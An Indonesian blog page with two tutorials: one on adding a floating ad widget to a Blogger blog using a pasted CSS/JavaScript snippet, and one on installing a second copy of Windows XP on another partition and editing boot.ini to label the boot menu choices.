Widget melayang ini bisa kita atur tata letaknya entah mau d letakan sebelah kiri, kanan, atas maupun bawah pada posisi blog, nanti akan awak terangkan di bawah, hokey :d
Untuk tampilan besar kecilnya ukuran widget melayang ini tergantung pada isi yang akan kita tempatkan.
Jika widget melayang ini kita tempati iklan berbasis PPC, maka ukuran-y akan menyesuaikan dg ukuran iklan, untuk contohnya bisa di lihat pada pojok kanan atas di blogtegal.com ini.
Bagaimana apakah kamu tertarik untuk membuatnya? Jika ya mari kita lakukan penelitiannya hehehehe. . . . . .
Silahkan copi paste script di bawah ini pada widget HTML/Javascript.
Jika bingung apa itu widget HTML/Javascript silahkan ikuti petunjuknya:
- masuk ke dasboard blog kamu.
- pilih Rancangan
- pada elemen halaman klik ''Tambah widget''
- Dan pilih Widget HTML/Javascript
- kemudian paste-kan script di bawah ini.
- dan Simpan
<style type="text/css"> #gb{ position:fixed; top:10px; z-index:+1000; } * html #gb{position:relative;} .gbcontent{ float:left;margin-left:220px; border:2px solid #bb0000; background:#eeeeee; padding:10px; } </style> <script type="text/javascript"> function showHideGB(){ var gb = document.getElementById("gb"); var w = gb.offsetWidth; gb.opened ? moveGB(0, 30-w) : moveGB(20-w, 0); gb.opened = !gb.opened; } function moveGB(x0, xf){ var gb = document.getElementById("gb"); var dx = Math.abs(x0-xf) > 10 ? 5 : 1; var dir = xf>x0 ? 1 : -1; var x = x0 + dx * dir; gb.style.top = x.toString() + "px"; if(x0!=xf){setTimeout("moveGB("+x+", "+xf+")", 10);} } </script> <div id="gb"> <div class="gbtab" onclick="showHideGB()"> </div> <div class="gbcontent"> <div style="text-align:right"> <a href="javascript:showHideGB()"> .:[Close][Klik 2x]:. </a> </div> <center> silahkan tempatkan kode iklan atau banner atau teks atau apalah terserah kamu disini yah</center> <script type="text/javascript"> var gb = document.getElementById("gb"); gb.style.center = (30-gb.offsetWidth).toString() + "px"; </script></div></div>Perhatikan pada tulisan yang berwarna ungu pada script di atas, di situ berisi tentang pengaturan tentang posisi, background,border widget melayang tersebut. Atur sesuai dg keinginan kamu apakah ingin di tempatkan di bagian kiri atau kanan. Oh ya, jika kamu ingin menempatkan widget melayang tersebut pada halaman yg ingin kamu tentukan baca artikel blogtegal tentang menampilkan widget pada halaman tertentu yg kita inginkan
Bagaimana apakah sudah bisa membuat widget melayang atau membuat iklan melayang? Semoga bermanfaat.
Rabu, 12 Oktober 2011
Install Windows XP dalam satu PC
Mungkin masih banyak yang belum tahu jika kita bisa menginstall 2 Windows XP yang sama dalam satu PC (komputer). Misalnya di install di drive C: dan D:. Tetapi mengapa repot-repot install 2 Windows XP ? Ada beberapa manfaat yang bisa didapatkan ketika kita menginstall 2 Windows XP, meskipun juga ada kekurangannya...
Berikut akan dibahas secara singkat tentang Install 2 Windows XP dalam satu PC.
Manfaat yang bisa didapatkan dengan menginstall 2 Windows Xp dalam satu PC antara lain :
* Untuk mencoba aplikasi atau software tertentu, misalnya ingin mencoba antivirus yang berbeda. * Install aplikasi dengan versi yang berbeda. Terkadang ada aplikasi dengan 2 versi yang berbeda tidak bisa di install dalam satu Windows, dilain pihak kita masih tetap memerlukan kedua versi tersebut. * Melakukan scan virus dari salah satu Windows. Jika windows yang satu terkena virus, maka kita memilih windows yang satunya dan discan dari sana. Meski tidak menutup kemungkinan dua-duanya terkena virus, tetapi biasanya virus hanya aktif di satu windows saja. * Sebagai alternatif jika salah satu windows bermasalah. * Melakukan berbagai pengujian /testing lainnya. * Memperbaiki jika satu windows tidak bisa booting. * Mencoba 2 versi windows XP yang berbeda, misalnya Home Edition dan Professional Edition.
Meskipun begitu, tetap saja ada kekurangannya, antara lain :
* Menambah penggunaan hardisk space (drive) * Mengulangi Installasi program/aplikasi, update, driver dan lainnya.
Meskipun sebagian cara diatas bisa juga menggunakan software Virtualisasi, seperti VirtualBox , tetapi dengan virtualisasi kinerja tidak akan maksimal dan akan tergantung dengan software virtualisasi sendiri.
Ketika menginstall 2 Windows XP dalam satu komputer, maka sebaiknya windows kedua tidak di install dengan berbagai macam program/aplikasi, mungkin hanya driver standard, antivirus dan beberapa aplikasi penting lainnya, sehingga kinerjanya ringan. Sedangkan satunya lagi bisa di install berbagai macam, dan ini mungkin yang dijadikan Sistem operasi utama.
Cara Install Windows XP Kedua
Sebelum menginstall, siapkan partisi yang kosong terlebih dahulu. Jika windows yang satu sudah di install ada di drive C:, maka bisa menggunakan drive lainnya, misalnya drive D: atau drive yang lainnya. Pastikan data-data sudah diamankan terlebih dulu.
Karena Windows XP kedua tidak akan digunakan untuk banyak aplikasi/program, maka ukuran Drive juga tidak perlu terlalu besar, mungkin sekitar 5 GB saja sudah cukup. Atau itu juga terserah kebutuhan kita saja.
Proses Installasi seperti install windows biasa, yaitu :
1. Set Booting pertama kali BIOS di CDROM 2. Masukkan CD master windows XP dan restart komputer 3. begitu muncul menu “Press any key to boot from CD”, tekan sembarang tombol 4. Tunggu proses Setup me-load file-file yang diperlukan, selanjutnya akan tampil pilihan Install, dan tekan ENTER (To set up Windows XP now, press ENTER) windows-setup
5. Akan tampil License Agreement, tekan F8 6. Ketika muncul tampilan berikut, pilih ESC
windows-setup-02 7. Maka akan ditampilkan pilihan Drive yang ada di hardisk. Pilih drive yang akan di install Windows XP kedua ini. Lalu tekan Enter.
windows-setup-select-part 8. Selanjutnya ikuti proses Installasi sampai selesai, yang memerlukan waktu sekitar 30 menit atau lebih.
BOOT.INI
Setelah selesai, maka ketika booting akan ditampilkan dua pilihan Windows, seperti berikut ( awalnya akan ditampilkan 2 pilihan yang sama, misalnya “Microsoft Windows XP Home Edition”):
windows-booting-select
Agar lebih mudah dan tidak membingungkan, maka kita bisa mengganti nama pilihan tersebut dengan mengedit file boot.ini yang (biasanya) ada di drive C: ( file ini beratribut Hidden System, jadi munculkan file Hidden system terlebih dulu ).
Buka file boot.ini dengan notepad atau text editor lainnya, akan terlihat baris seperti berikut:
[boot loader]
timeout=10
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOW S
[operating systems]
multi(0)disk(0)rdisk(0)partition(7)\WINDOWS=”Micro soft Windows XP Lite” /noexecute=optin /fastdetect
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=”Micro soft Windows XP Home Edition” /noexecute=optin /fastdetect
Pilihan yang muncul ketika booting adalah apa yang tertera dalam tanda petik diatas. Jadi berdasarkan kode tersebut, di tampilan booting akan ada 2 pilihan seperti diatas.
Jika dipilih “Microsoft Windows XP Lite”, maka windows yang akan aktif adalah yang di install di Partition(7) dan juga sebaliknya. Nilai timeout=10 berarti jika selama 10 detik kita tidak memilih maka otomatis komputer akan booting dengan pilihan yang ada di nilai default. Masing-masing bisa diubah dan disesuaikan.
Peringatan : Pastikan hanya mengubah text yang ada didalam tanda petik saja, nilai timeout dan nilai default. Jangan mengubah nilai lainnya jika tidak tahu apa maksudnya. Kemudian, text “multi(0)disk(0)rdisk(0)partition(7)\WINDOWS=” Microsoft Windows XP Lite” /noexecute=optin /fastdetect” dan baris bawahnya harus ada dalam satu baris. Karena jika terjadi kesalahan bisa berakibat windows tidak bisa booting. Dan sebelum mengubah, pastikan dibuat copy file boot.ini agar jika terjadi kesalahan bisa dikembalikan ke keadaan semula.
Langganan:
Postingan (Atom)